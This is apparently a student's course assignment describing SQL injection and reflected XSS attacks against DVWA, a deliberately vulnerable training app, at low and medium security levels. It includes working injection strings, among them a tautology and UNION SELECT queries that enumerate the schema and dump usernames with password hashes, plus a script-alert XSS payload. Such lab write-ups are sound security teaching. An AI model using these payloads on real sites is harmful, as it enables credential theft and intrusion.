

CMPE 279 – Assignment 3

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Question

Describe the SQLi attack you used. how did you cause the user table to be dumped? What was the input string you used?

Answer

We changed security settings to **low** on DVWA security settings. We then used **1' or 1=1#** so as to make SQL query condition true in all scenarios and it displayed list of users.

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User ID:

1' or 1=1#

Submit

ID: 1' or 1=1#
First name: admin
Surname: admin

ID: 1' or 1=1#
First name: Gordon
Surname: Brown

ID: 1' or 1=1#
First name: Hack
Surname: Me

ID: 1' or 1=1#
First name: Pablo
Surname: Picasso

ID: 1' or 1=1#
First name: Bob
Surname: Smith

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

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We then used **1' and 1=1 union select null, table_name from information_schema.tables #** to get the table name. And found out that there is table named **users** in the database.

To get column names we used **1' and 1=1 union select null, column_name from information_schema.columns where table_name = "users" #**.

Finally used **1' and 1=1 union select user, password from users#** to get additional information.

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ID: 1' and 1=1 union select user, password from users#
First name: admin
Surname: admin

ID: 1' and 1=1 union select user, password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' and 1=1 union select user, password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' and 1=1 union select user, password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' and 1=1 union select user, password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' and 1=1 union select user, password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

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Username: admin
Security Level: low
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Question

If you switch the security level in DVWA to “Medium”, does the SQLi attack still work?

Answer

If we change security settings to **Medium** for DVWA then same SQL injection attack query did not work for us.

Question

Describe the reflected XSS attack you used. How did it work?

Answer

If we check the source for the web page, then there aren’t any restrictions on the input field. We used `<script>alert(‘XSS ATTACK’)</script>` to exploit XSS vulnerability. Since the payload was just JavaScript alert it popped up.



Question

If you switch the security level in DVWA to “Medium”, does the XSS attack still work?

Answer

With the medium security, there was restriction on the input field hence same input could not exploit XSS vulnerability.

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Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

`Hello alert('XSS ATTACK')`

More info

<http://ha.ckers.org/xss.html>
http://en.wikipedia.org/wiki/Cross-site_scripting
<http://www.cgisecurity.com/xss-faq.html>

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Username: admin
Security Level: medium
PHPIDS: disabled

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